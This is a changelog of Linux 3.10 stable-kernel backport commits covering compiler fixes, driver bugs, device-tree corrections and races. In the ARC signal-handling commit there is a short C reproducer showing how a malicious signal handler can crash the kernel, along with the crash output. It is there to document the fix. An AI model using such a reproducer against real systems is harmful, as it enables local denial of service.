Thus, it has to be added to the mask in kvm_mmu_pte_write. Reviewed-by: Xiao Guangrong Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f09e34745cee15ab46e0a077d23e8ef4be1ba4d8 Author: Junling Zheng Date: Mon Jun 1 09:28:00 2015 +0000 net: socket: Fix the wrong returns for recvmsg and sendmsg Based on 08adb7dabd4874cc5666b4490653b26534702ce0 upstream. We found that after v3.10.73, recvmsg might return -EFAULT while -EINVAL was expected. We tested it through the recvmsg01 testcase come from LTP testsuit. It set msg->msg_namelen to -1 and the recvmsg syscall returned errno 14, which is unexpected (errno 22 is expected): recvmsg01 4 TFAIL : invalid socket length ; returned -1 (expected -1), errno 14 (expected 22) Linux mainline has no this bug for commit 08adb7dab fixes it accidentally. However, it is too large and complex to be backported to LTS 3.10. Commit 281c9c36 (net: compat: Update get_compat_msghdr() to match copy_msghdr_from_user() behaviour) made get_compat_msghdr() return error if msg_sys->msg_namelen was negative, which changed the behaviors of recvmsg and sendmsg syscall in a lib32 system: Before commit 281c9c36, get_compat_msghdr() wouldn't fail and it would return -EINVAL in move_addr_to_user() or somewhere if msg_sys->msg_namelen was invalid and then syscall returned -EINVAL, which is correct. And now, when msg_sys->msg_namelen is negative, get_compat_msghdr() will fail and wants to return -EINVAL, however, the outer syscall will return -EFAULT directly, which is unexpected. This patch gets the return value of get_compat_msghdr() as well as copy_msghdr_from_user(), then returns this expected value if get_compat_msghdr() fails. Fixes: 281c9c36 (net: compat: Update get_compat_msghdr() to match copy_msghdr_from_user() behaviour) Signed-off-by: Junling Zheng Signed-off-by: Hanbing Xu Cc: Li Zefan Cc: Al Viro Cc: David Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7bcb306cfb2844cec47028b444427a4777415311 Author: Kirill A. Shutemov Date: Mon Oct 20 12:23:12 2014 +0300 kernel: use the gnu89 standard explicitly commit 51b97e354ba9fce1890cf38ecc754aa49677fc89 upstream. Sasha Levin reports: "gcc5 changes the default standard to c11, which makes kernel build unhappy Explicitly define the kernel standard to be gnu89 which should keep everything working exactly like it was before gcc5" There are multiple small issues with the new default, but the biggest issue seems to be that the old - and very useful - GNU extension to allow a cast in front of an initializer has gone away. Patch updated by Kirill: "I'm pretty sure all gcc versions you can build kernel with supports -std=gnu89. cc-option is redunrant. We also need to adjust HOSTCFLAGS otherwise allmodconfig fails for me" Note by Andrew Pinski: "Yes it was reported and both problems relating to this extension has been added to gnu99 and gnu11. Though there are other issues with the kernel dealing with extern inline have different semantics between gnu89 and gnu99/11" End result: we may be able to move up to a newer stdc model eventually, but right now the newer models have some annoying deficiencies, so the traditional "gnu89" model ends up being the preferred one. Signed-off-by: Sasha Levin Singed-off-by: Kirill A. Shutemov Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 75e83bfe28f92422b5243005e0ce2e214b4da54f Author: Behan Webster Date: Wed Oct 29 15:42:21 2014 -0700 staging, rtl8192e, LLVMLinux: Remove unused inline prototype commit 62ec95f86d2850b7ce6d73fb236a6fcf48411aea upstream. rtllib_probe_req is defined as "static inline" in rtllib_softmac.c however it is declared differently as "extern inline" in rtllib_softmac.h. Since it isn't used outside of the scope of rtllib_softmac, it makes sense to remove the incorrect declaration. Signed-off-by: Behan Webster Suggested-by: Arnd Bergmann Cc: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5085b9ef7ce09051428f995436899a907e08cbd8 Author: Arnd Bergmann Date: Thu Jun 5 22:48:15 2014 +0200 staging: rtl8712, rtl8712: avoid lots of build warnings commit 0c9f3a65c5eb7fe1fc611a22eb8a8b71ea865998 upstream. The rtl8712 driver has an 'extern inline' function that contains an 'if', which causes lots of warnings with CONFIG_PROFILE_ALL_BRANCHES overriding the definition of 'if': drivers/staging/rtl8712/ieee80211.h:759:229: warning: '______f' is static but declared in inline function 'ieee80211_get_hdrlen' which is not static [enabled by default] This changes the driver to use 'static inline' instead, which happens to be the correct annotation anyway. Signed-off-by: Arnd Bergmann Cc: Larry Finger Cc: Florian Schilhabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2d4fe63fb7e166471db17ca06fa02575a9bc1409 Author: Behan Webster Date: Wed Oct 29 15:42:20 2014 -0700 staging, rtl8192e, LLVMLinux: Change extern inline to static inline commit 6d91857d4826b382b3fd4fad95f52713be646f96 upstream. With compilers which follow the C99 standard (like modern versions of gcc and clang), "extern inline" does the opposite thing from older versions of gcc (emits code for an externally linkable version of the inline function). "static inline" does the intended behavior in all cases instead. Signed-off-by: Behan Webster Suggested-by: Arnd Bergmann Cc: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b91d009d2c677f008408a946e14059cc30dea00b Author: Jan-Simon Möller Date: Mon May 6 14:52:08 2013 +0200 drm/i915: Fix declaration of intel_gmbus_{is_forced_bit/is_port_falid} commit 8f375e10ee47b9d7b9b3aefcf67854c6e92708be upstream. Description: intel_gmbus_is_forced_bit is no extern as its body is right below. Likewise for intel_gmbus_is_port_valid. This fixes a compilation issue with clang. An initial version of this patch was developed by PaX Team . This is respin of this patch. 20130509: v2: (re-)add inline upon request. Signed-off-by: Jan-Simon Möller CC: pageexec@freemail.hu CC: daniel.vetter@ffwll.ch CC: airlied@linux.ie CC: intel-gfx@lists.freedesktop.org CC: dri-devel@lists.freedesktop.org CC: linux-kernel@vger.kernel.org [danvet: Bikeshed commit message.] Signed-off-by: Daniel Vetter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cd8fcf69326bf525b948ca8ba932088e28989884 Author: Greg Kroah-Hartman Date: Sat May 23 13:26:23 2015 -0700 staging: wlags49_h2: fix extern inline functions Patch not upstream as this driver is deleted there. Fix up some "extern inline" functions as they break the build when using a "modern" complier (i.e. gcc5). Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bbf7300cf8ce1d107484fa17d02dd3b419ec61ed Author: Greg Kroah-Hartman Date: Sun May 17 09:51:39 2015 -0700 Linux 3.10.79 Signed-off-by: Pranav Vashi commit 532f6f9c19b57fc14be50861cd6134a40f3dd2d2 Author: Lv Zheng Date: Mon Apr 13 11:48:37 2015 +0800 ACPICA: Utilities: Cleanup to enforce ACPI_PHYSADDR_TO_PTR()/ACPI_PTR_TO_PHYSADDR(). commit 6d3fd3cc33d50e4c0d0c0bd172de02caaec3127c upstream. ACPICA commit 154f6d074dd38d6ebc0467ad454454e6c5c9ecdf There are code pieces converting pointers using "(acpi_physical_address) x" or "ACPI_CAST_PTR (t, x)" formats, this patch cleans up them. Known issues: 1. Cleanup of "(ACPI_PHYSICAL_ADDRRESS) x" for a table field For the conversions around the table fields, it is better to fix it with alignment also fixed. So this patch doesn't modify such code. There should be no functional problem by leaving them unchanged. Link: https://github.com/acpica/acpica/commit/154f6d07 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Dirk Behme Signed-off-by: George G. Davis Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f56fd33ba6c8547ad3b41e1eacf92ab5a79b2068 Author: Lv Zheng Date: Mon Apr 13 11:48:18 2015 +0800 ACPICA: Tables: Change acpi_find_root_pointer() to use acpi_physical_address. commit f254e3c57b9d952e987502aefa0804c177dd2503 upstream. ACPICA commit 7d9fd64397d7c38899d3dc497525f6e6b044e0e3 OSPMs like Linux expect an acpi_physical_address returning value from acpi_find_root_pointer(). This triggers warnings if sizeof (acpi_size) doesn't equal to sizeof (acpi_physical_address): drivers/acpi/osl.c:275:3: warning: passing argument 1 of 'acpi_find_root_pointer' from incompatible pointer type [enabled by default] In file included from include/acpi/acpi.h:64:0, from include/linux/acpi.h:36, from drivers/acpi/osl.c:41: include/acpi/acpixf.h:433:1: note: expected 'acpi_size *' but argument is of type 'acpi_physical_address *' This patch corrects acpi_find_root_pointer(). Link: https://github.com/acpica/acpica/commit/7d9fd643 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Dirk Behme Signed-off-by: George G. Davis Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7e99b338903e6e42bf0d7c2583966dbde3001a1b Author: Christoph Hellwig Date: Thu Nov 14 14:32:06 2013 -0800 revert "softirq: Add support for triggering softirq work on softirqs" commit fc21c0cff2f425891b28ff6fb6b03b325c977428 upstream. This commit was incomplete in that code to remove items from the per-cpu lists was missing and never acquired a user in the 5 years it has been in the tree. We're going to implement what it seems to try to archive in a simpler way, and this code is in the way of doing so. Signed-off-by: Christoph Hellwig Cc: Jan Kara Cc: Jens Axboe Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Pan Xinhui Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit abcbdb30e36655fe127cef0a95024b8796cc13fb Author: Alexey Khoroshilov Date: Sat Apr 18 02:53:25 2015 +0300 sound/oss: fix deadlock in sequencer_ioctl(SNDCTL_SEQ_OUTOFBAND) commit bc26d4d06e337ade069f33d3f4377593b24e6e36 upstream. A deadlock can be initiated by userspace via ioctl(SNDCTL_SEQ_OUTOFBAND) on /dev/sequencer with TMR_ECHO midi event. In this case the control flow is: sound_ioctl() -> case SND_DEV_SEQ: case SND_DEV_SEQ2: sequencer_ioctl() -> case SNDCTL_SEQ_OUTOFBAND: spin_lock_irqsave(&lock,flags); play_event(); -> case EV_TIMING: seq_timing_event() -> case TMR_ECHO: seq_copy_to_input() -> spin_lock_irqsave(&lock,flags); It seems that spin_lock_irqsave() around play_event() is not necessary, because the only other call location in seq_startplay() makes the call without acquiring spinlock. So, the patch just removes spinlocks around play_event(). By the way, it removes unreachable code in seq_timing_event(), since (seq_mode == SEQ_2) case is handled in the beginning. Compile tested only. Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: Takashi Iwai Cc: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e9e9b53860c91ffa7481b5e957fc3c8b4db5904 Author: Chuanxiao Dong Date: Tue Aug 12 12:01:30 2014 +0800 mmc: card: Don't access RPMB partitions for normal read/write commit 4e93b9a6abc0d028daf3c8a00cb77b679d8a4df4 upstream. During kernel boot, it will try to read some logical sectors of each block device node for the possible partition table. But since RPMB partition is special and can not be accessed by normal eMMC read / write CMDs, it will cause below error messages during kernel boot: ... mmc0: Got data interrupt 0x00000002 even though no data operation was in progress. mmcblk0rpmb: error -110 transferring data, sector 0, nr 32, cmd response 0x900, card status 0xb00 mmcblk0rpmb: retrying using single block read mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900 end_request: I/O error, dev mmcblk0rpmb, sector 0 Buffer I/O error on device mmcblk0rpmb, logical block 0 end_request: I/O error, dev mmcblk0rpmb, sector 8 Buffer I/O error on device mmcblk0rpmb, logical block 1 end_request: I/O error, dev mmcblk0rpmb, sector 16 Buffer I/O error on device mmcblk0rpmb, logical block 2 end_request: I/O error, dev mmcblk0rpmb, sector 24 Buffer I/O error on device mmcblk0rpmb, logical block 3 ... This patch will discard the access request in eMMC queue if it is RPMB partition access request. By this way, it avoids trigger above error messages. Fixes: 090d25fe224c ("mmc: core: Expose access to RPMB partition") Signed-off-by: Yunpeng Gao Signed-off-by: Chuanxiao Dong Tested-by: Michael Shigorin Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d18132354bf4f17053989a894c14cec304ab9ca4 Author: Lukas Wunner Date: Mon May 4 15:06:49 2015 +0200 drm/i915: Add missing MacBook Pro models with dual channel LVDS commit 3916e3fd81021fb795bfbdb17f375b6b3685bced upstream. Single channel LVDS maxes out at 112 MHz. The 15" pre-retina models shipped with 1440x900 (106 MHz) by default or 1680x1050 (119 MHz) as a BTO option, both versions used dual channel LVDS even though the smaller one would have fit into a single channel. Notes: Bug report showing that the MacBookPro8,2 with 1440x900 uses dual channel LVDS (this lead to it being hardcoded in intel_lvds.c by Daniel Vetter with commit 618563e3945b9d0864154bab3c607865b557cecc): https://bugzilla.kernel.org/show_bug.cgi?id=42842 If i915.lvds_channel_mode=2 is missing even though the machine needs it, every other vertical line is white and consequently, only the left half of the screen is visible (verified by myself on a MacBookPro9,1). Forum posting concerning a MacBookPro6,2 with 1440x900, author is using i915.lvds_channel_mode=2 on the kernel command line, proving that the machine uses dual channels: https://bbs.archlinux.org/viewtopic.php?id=185770 Chi Mei N154C6-L04 with 1440x900 is a replacement panel for all MacBook Pro "A1286" models, and that model number encompasses the MacBookPro6,2 / 8,2 / 9,1. Page 17 of the panel's datasheet shows it's driven with dual channel LVDS: http://www.ebay.com/itm/-/400690878560 http://www.everymac.com/ultimate-mac-lookup/?search_keywords=A1286 http://www.taopanel.com/chimei/datasheet/N154C6-L04.pdf Those three 15" models, MacBookPro6,2 / 8,2 / 9,1, are the only ones with i915 graphics and dual channel LVDS, so that list should be complete. And the 8,2 is already in intel_lvds.c. Possible motivation to use dual channel LVDS even on the 1440x900 models: Reduce the number of different parts, i.e. use identical logic boards and display cabling on both versions and the only differing component is the panel. Signed-off-by: Lukas Wunner Acked-by: Jani Nikula [Jani: included notes in the commit message for posterity] Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3e073d188de2109ecf1f67ed90f6c6fca0ab60d0 Author: Gregory CLEMENT Date: Tue Apr 14 11:50:13 2015 +0200 ARM: mvebu: armada-xp-openblocks-ax3-4: Disable internal RTC commit 750e30d4076ae5e02ad13a376e96c95a2627742c upstream. There is no crystal connected to the internal RTC on the Open Block AX3. So let's disable it in order to prevent the kernel probing the driver uselessly. Eventually this patches removes the following warning message from the boot log: "rtc-mv d0010300.rtc: internal RTC not ticking" Acked-by: Andrew Lunn Signed-off-by: Gregory CLEMENT Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65d0d9bc4c000ea7417db21fe0e221b544fe5e7f Author: Stefan Wahren Date: Tue Apr 14 20:37:26 2015 +0000 ARM: dts: imx23-olinuxino: Fix dr_mode of usb0 commit 0fdebe1a2f4d3a8fc03754022fabf8ba95e131a3 upstream. The dr_mode of usb0 on imx233-olinuxino is left to default "otg". Since the green LED (GPIO2_1) on imx233-olinuxino is connected to the same pin as USB_OTG_ID it's possible to disable USB host by LED toggling: echo 0 > /sys/class/leds/green/brightness [ 1068.890000] ci_hdrc ci_hdrc.0: remove, state 1 [ 1068.890000] usb usb1: USB disconnect, device number 1 [ 1068.920000] usb 1-1: USB disconnect, device number 2 [ 1068.920000] usb 1-1.1: USB disconnect, device number 3 [ 1069.070000] usb 1-1.2: USB disconnect, device number 4 [ 1069.450000] ci_hdrc ci_hdrc.0: USB bus 1 deregistered [ 1074.460000] ci_hdrc ci_hdrc.0: timeout waiting for 00000800 in 11 This patch fixes the issue by setting dr_mode to "host" in the dts file. Reported-by: Harald Geyer Signed-off-by: Stefan Wahren Reviewed-by: Fabio Estevam Reviewed-by: Marek Vasut Acked-by: Peter Chen Fixes: b49312948285 ("ARM: dts: imx23-olinuxino: Add USB host support") Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c40f7a5bffcc1a30d0f0ba727fa5f5c152d4d8a9 Author: Marek Vasut Date: Fri Apr 24 13:29:47 2015 +0200 ARM: dts: imx28: Fix AUART4 TX-DMA interrupt name commit 4ada77e37a773168fea484899201e272ab44ba8b upstream. Fix a typo in the TX DMA interrupt name for AUART4. This patch makes AUART4 operational again. Signed-off-by: Marek Vasut Fixes: f30fb03d4d3a ("ARM: dts: add generic DMA device tree binding for mxs-dma") Acked-by: Stefan Wahren Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5ab3d3b90768ce94e47a76e448703005df91e64f Author: Markus Pargmann Date: Fri Apr 24 09:27:33 2015 +0200 ARM: dts: imx25: Add #pwm-cells to pwm4 commit f90d3f0d0a11fa77918fd5497cb616dd2faa8431 upstream. The property '#pwm-cells' is currently missing. It is not possible to use pwm4 without this property. Signed-off-by: Markus Pargmann Fixes: 5658a68fb578 ("ARM i.MX25: Add devicetree") Reviewed-by: Fabio Estevam Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a4c424d38795382c07666d61d4d8e7e83421883a Author: Johan Hovold Date: Tue Apr 21 17:42:09 2015 +0200 gpio: sysfs: fix memory leaks and device hotplug commit 483d821108791092798f5d230686868112927044 upstream. Unregister GPIOs requested through sysfs at chip remove to avoid leaking the associated memory and sysfs entries. The stale sysfs entries prevented the gpio numbers from being exported when the gpio range was later reused (e.g. at device reconnect). This also fixes the related module-reference leak. Note that kernfs makes sure that any on-going sysfs operations finish before the class devices are unregistered and that further accesses fail. The chip exported flag is used to prevent gpiod exports during removal. This also makes it harder to trigger, but does not fix, the related race between gpiochip_remove and export_store, which is really a race with gpiod_request that needs to be addressed separately. Also note that this would prevent the crashes (e.g. NULL-dereferences) at reconnect that affects pre-3.18 kernels, as well as use-after-free on operations on open attribute files on pre-3.14 kernels (prior to kernfs). Fixes: d8f388d8dc8d ("gpio: sysfs interface") Signed-off-by: Johan Hovold Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f640ed9ac5e0e127a3983c210f3ef38a5afd13f3 Author: Johan Hovold Date: Mon Jan 12 17:12:29 2015 +0100 gpio: unregister gpiochip device before removing it commit 01cca93a9491ed95992523ff7e79dd9bfcdea8e0 upstream. Unregister gpiochip device (used to export information through sysfs) before removing it internally. This way removal will reverse addition. Signed-off-by: Johan Hovold Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d75e927503f0331063084bab0f86c17c11d9571 Author: Boris Ostrovsky Date: Wed Apr 29 17:10:14 2015 -0400 xen/console: Update console event channel on resume commit b9d934f27c91b878c4b2e64299d6e419a4022f8d upstream. After a resume the hypervisor/tools may change console event channel number. We should re-query it. Signed-off-by: Boris Ostrovsky Signed-off-by: David Vrabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ba874c1213f69964868baa3b577f698971dcdab Author: Naoya Horiguchi Date: Tue May 5 16:23:35 2015 -0700 mm/memory-failure: call shake_page() when error hits thp tail page commit 09789e5de18e4e442870b2d700831f5cb802eb05 upstream. Currently memory_failure() calls shake_page() to sweep pages out from pcplists only when the victim page is 4kB LRU page or thp head page. But we should do this for a thp tail page too. Consider that a memory error hits a thp tail page whose head page is on a pcplist when memory_failure() runs. Then, the current kernel skips shake_pages() part, so hwpoison_user_mappings() returns without calling split_huge_page() nor try_to_unmap() because PageLRU of the thp head is still cleared due to the skip of shake_page(). As a result, me_huge_page() runs for the thp, which is broken behavior. One effect is a leak of the thp. And another is to fail to isolate the memory error, so later access to the error address causes another MCE, which kills the processes which used the thp. This patch fixes this problem by calling shake_page() for thp tail case. Fixes: 385de35722c9 ("thp: allow a hwpoisoned head page to be put back to LRU") Signed-off-by: Naoya Horiguchi Reviewed-by: Andi Kleen Acked-by: Dean Nelson Cc: Andrea Arcangeli Cc: Hidetoshi Seto Cc: Jin Dongming Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 40e23baef527ec87432b5dcba9d15098db6f5c8d Author: Ryusuke Konishi Date: Tue May 5 16:24:00 2015 -0700 nilfs2: fix sanity check of btree level in nilfs_btree_root_broken() commit d8fd150fe3935e1692bf57c66691e17409ebb9c1 upstream. The range check for b-tree level parameter in nilfs_btree_root_broken() is wrong; it accepts the case of "level == NILFS_BTREE_LEVEL_MAX" even though the level is limited to values in the range of 0 to (NILFS_BTREE_LEVEL_MAX - 1). Since the level parameter is read from storage device and used to index nilfs_btree_path array whose element count is NILFS_BTREE_LEVEL_MAX, it can cause memory overrun during btree operations if the boundary value is set to the level parameter on device. This fixes the broken sanity check and adds a comment to clarify that the upper bound NILFS_BTREE_LEVEL_MAX is exclusive. Signed-off-by: Ryusuke Konishi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ae9cb90a374a3cdd26454bc08b9b5d77939fe213 Author: Junxiao Bi Date: Tue May 5 16:24:02 2015 -0700 ocfs2: dlm: fix race between purge and get lock resource commit b1432a2a35565f538586774a03bf277c27fc267d upstream. There is a race window in dlm_get_lock_resource(), which may return a lock resource which has been purged. This will cause the process to hang forever in dlmlock() as the ast msg can't be handled due to its lock resource not existing. dlm_get_lock_resource { ... spin_lock(&dlm->spinlock); tmpres = __dlm_lookup_lockres_full(dlm, lockid, namelen, hash); if (tmpres) { spin_unlock(&dlm->spinlock); >>>>>>>> race window, dlm_run_purge_list() may run and purge the lock resource spin_lock(&tmpres->spinlock); ... spin_unlock(&tmpres->spinlock); } } Signed-off-by: Junxiao Bi Cc: Joseph Qi Cc: Mark Fasheh Cc: Joel Becker Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0ccc31c414c3b04cc9cc13308766fa4e9cd41920 Author: Greg Kroah-Hartman Date: Wed May 13 05:15:52 2015 -0700 Linux 3.10.78 Signed-off-by: Pranav Vashi commit aa93692a166ca78629758bb775df52c0abfb0171 Author: Vineet Gupta Date: Thu Mar 26 11:14:41 2015 +0530 ARC: signal handling robustify commit e4140819dadc3624accac8294881bca8a3cba4ed upstream. A malicious signal handler / restorer can DOS the system by fudging the user regs saved on stack, causing weird things such as sigreturn returning to user mode PC but cpu state still being kernel mode.... Ensure that in sigreturn path status32 always has U bit; any other bogosity (gargbage PC etc) will be taken care of by normal user mode exceptions mechanisms. Reproducer signal handler: void handle_sig(int signo, siginfo_t *info, void *context) { ucontext_t *uc = context; struct user_regs_struct *regs = &(uc->uc_mcontext.regs); regs->scratch.status32 = 0; } Before the fix, kernel would go off to weeds like below: --------->8----------- [ARCLinux]$ ./signal-test Path: /signal-test CPU: 0 PID: 61 Comm: signal-test Not tainted 4.0.0-rc5+ #65 task: 8f177880 ti: 5ffe6000 task.ti: 8f15c000 [ECR ]: 0x00220200 => Invalid Write @ 0x00000010 by insn @ 0x00010698 [EFA ]: 0x00000010 [BLINK ]: 0x2007c1ee [ERET ]: 0x10698 [STAT32]: 0x00000000 : <-------- BTA: 0x00010680 SP: 0x5ffe7e48 FP: 0x00000000 LPS: 0x20003c6c LPE: 0x20003c70 LPC: 0x00000000 ... --------->8----------- Reported-by: Alexey Brodkin Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1452f1880058e87d45548abff269a4ce0f498f87 Author: hujianyang Date: Tue Dec 30 11:56:09 2014 +0800 UBI: fix soft lockup in ubi_check_volume() commit 9aa272b492e7551a9ee0e2c83c720ea013698485 upstream. Running mtd-utils/tests/ubi-tests/io_basic.c could cause soft lockup or watchdog reset. It is because *updatevol* will perform ubi_check_volume() after updating finish and this function will full scan the updated lebs if the volume is initialized as STATIC_VOLUME. This patch adds *cond_resched()* in the loop of lebs scan to avoid soft lockup. Helped by Richard Weinberger [ 2158.067096] INFO: rcu_sched self-detected stall on CPU { 1} (t=2101 jiffies g=1606 c=1605 q=56) [ 2158.172867] CPU: 1 PID: 2073 Comm: io_basic Tainted: G O 3.10.53 #21 [ 2158.172898] [] (unwind_backtrace+0x0/0x120) from [] (show_stack+0x10/0x14) [ 2158.172918] [] (show_stack+0x10/0x14) from [] (rcu_check_callbacks+0x1c0/0x660) [ 2158.172936] [] (rcu_check_callbacks+0x1c0/0x660) from [] (update_process_times+0x38/0x64) [ 2158.172953] [] (update_process_times+0x38/0x64) from [] (tick_sched_handle+0x54/0x60) [ 2158.172966] [] (tick_sched_handle+0x54/0x60) from [] (tick_sched_timer+0x44/0x74) [ 2158.172978] [] (tick_sched_timer+0x44/0x74) from [] (__run_hrtimer+0xc8/0x1b8) [ 2158.172992] [] (__run_hrtimer+0xc8/0x1b8) from [] (hrtimer_interrupt+0x128/0x2a4) [ 2158.173007] [] (hrtimer_interrupt+0x128/0x2a4) from [] (arch_timer_handler_virt+0x28/0x30) [ 2158.173022] [] (arch_timer_handler_virt+0x28/0x30) from [] (handle_percpu_devid_irq+0x9c/0x124) [ 2158.173036] [] (handle_percpu_devid_irq+0x9c/0x124) from [] (generic_handle_irq+0x20/0x30) [ 2158.173049] [] (generic_handle_irq+0x20/0x30) from [] (handle_IRQ+0x64/0x8c) [ 2158.173060] [] (handle_IRQ+0x64/0x8c) from [] (gic_handle_irq+0x3c/0x60) [ 2158.173074] [] (gic_handle_irq+0x3c/0x60) from [] (__irq_svc+0x40/0x50) [ 2158.173083] Exception stack(0xc4043c98 to 0xc4043ce0) [ 2158.173092] 3c80: c4043ce4 00000019 [ 2158.173102] 3ca0: 1f8a865f c050ad10 1f8a864c 00000031 c04b5970 0003ebce 00000000 f3550000 [ 2158.173113] 3cc0: bf00bc68 00000800 0003ebce c4043ce0 c0186d14 c0186cb8 80000013 ffffffff [ 2158.173130] [] (__irq_svc+0x40/0x50) from [] (read_current_timer+0x4/0x38) [ 2158.173145] [] (read_current_timer+0x4/0x38) from [<1f8a865f>] (0x1f8a865f) [ 2183.927097] BUG: soft lockup - CPU#1 stuck for 22s! [io_basic:2073] [ 2184.002229] Modules linked in: nandflash(O) [last unloaded: nandflash] Signed-off-by: Wang Kai Signed-off-by: hujianyang Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1ed09fab89ff74b5f06b7dfbc18a4d83dca12d89 Author: K. Y. Srinivasan Date: Thu Mar 19 08:11:34 2015 -0700 Drivers: hv: vmbus: Don't wait after requesting offers commit 73cffdb65e679b98893f484063462c045adcf212 upstream. Don't wait after sending request for offers to the host. This wait is unnecessary and simply adds 5 seconds to the boot time. Signed-off-by: K. Y. Srinivasan Cc: Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b25c44de3be5166dd5592bc43b9c00214ebdcebf Author: Sebastian Hesselbarth Date: Tue Feb 17 19:52:04 2015 +0100 ARM: dts: dove: Fix uart[23] reg property commit a74cd13b807029397f7232449df929bac11fb228 upstream. Fix Dove's register addresses of uart2 and uart3 nodes that seem to be broken since ages due to a copy-and-paste error. Signed-off-by: Sebastian Hesselbarth Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 780c859cbaae8cd6666036fe63a1f0b290697822 Author: Sudip Mukherjee Date: Tue Mar 24 16:29:32 2015 +0530 staging: panel: fix lcd type commit 2c20d92dad5db6440cfa88d811b69fd605240ce4 upstream. the lcd type as defined in the Kconfig is not matching in the code. as a result the rs, rw and en pins were getting interchanged. Kconfig defines the value of PANEL_LCD to be 1 if we select custom configuration but in the code LCD_TYPE_CUSTOM is defined as 5. my hardware is LCD_TYPE_CUSTOM, but the pins were assigned to it as pins of LCD_TYPE_OLD, and it was not working. Now values are corrected with referenece to the values defined in Kconfig and it is working. checked on JHD204A lcd with LCD_TYPE_CUSTOM configuration. Signed-off-by: Sudip Mukherjee Acked-by: Willy Tarreau [wt: backport to 3.10 and 3.14] Signed-off-by: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 11f935c33573ff1fdc8df4b8f2638525d95a6350 Author: Andrzej Pietrasiewicz Date: Tue Mar 3 10:52:05 2015 +0100 usb: gadget: printer: enqueue printer's response for setup request commit eb132ccbdec5df46e29c9814adf76075ce83576b upstream. Function-specific setup requests should be handled in such a way, that apart from filling in the data buffer, the requests are also actually enqueued: if function-specific setup is called from composte_setup(), the "usb_ep_queue()" block of code in composite_setup() is skipped. The printer function lacks this part and it results in e.g. get device id requests failing: the host expects some response, the device prepares it but does not equeue it for sending to the host, so the host finally asserts timeout. This patch adds enqueueing the prepared responses. Fixes: 2e87edf49227: "usb: gadget: make g_printer use composite" Signed-off-by: Andrzej Pietrasiewicz Signed-off-by: Felipe Balbi [ported to stable 3.10 and 3.14] Signed-off-by: Andrzej Pietrasiewicz Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 083c064854d85351968b02238c318986180adf7c Author: Felipe Balbi Date: Fri Feb 13 14:57:54 2015 -0600 usb: host: oxu210hp: use new USB_RESUME_TIMEOUT commit 84c0d178eb9f3a3ae4d63dc97a440266cf17f7f5 upstream. Make sure we're using the new macro, so our resume signaling will always pass certification. Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f784bdb522a7d25b6502cabd5bb564d50095ec73 Author: Christoph Hellwig Date: Thu Apr 23 09:48:49 2015 +0200 3w-sas: fix command completion race commit 579d69bc1fd56d5af5761969aa529d1d1c188300 upstream. The 3w-sas driver needs to tear down the dma mappings before returning the command to the midlayer, as there is no guarantee the sglist and count are valid after that point. Also remove the dma mapping helpers which have another inherent race due to the request_id index. Signed-off-by: Christoph Hellwig Reported-by: Torsten Luettgert Tested-by: Bernd Kardatzki Acked-by: Adam Radford Signed-off-by: James Bottomley 